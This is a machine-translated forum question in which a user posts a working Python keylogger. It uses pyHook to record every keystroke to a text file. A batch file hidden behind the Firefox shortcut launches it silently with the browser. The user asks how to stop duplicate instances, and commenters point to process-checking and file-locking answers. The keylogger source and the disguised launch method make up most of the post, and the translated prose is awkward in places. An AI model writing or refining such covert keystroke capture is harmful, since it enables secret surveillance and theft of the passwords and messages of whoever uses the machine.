我在this guy的教程后面做了一个简单的Python键盘记录程序。该.pyw
文件如下:如果它已经在运行,请不要运行python脚本
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Python27\\logger.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
它巧妙地运行,当我使用Firefox,因为Firefox的快捷方式调用其中包含一个批处理文件:
@echo off
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"
我的问题是,如果我使用Firefox不止一次(这经常发生),这个脚本再次运行并重复自身,所以我在日志文本文件中得到这些结果。
g
g
o
o
o
o
g
g
l
l
e
e
我需要一些if
条件不允许此脚本运行,如果它已经运行。
这里是如何检查的过程是通过批处理脚本运行http://stackoverflow.com/questions/162291/后如何检查,如果一个进程正在运行,通过一个批处理脚本可能会帮助 – alex
看到:http://stackoverflow.com/questions/489861/locking-a-file-in -python –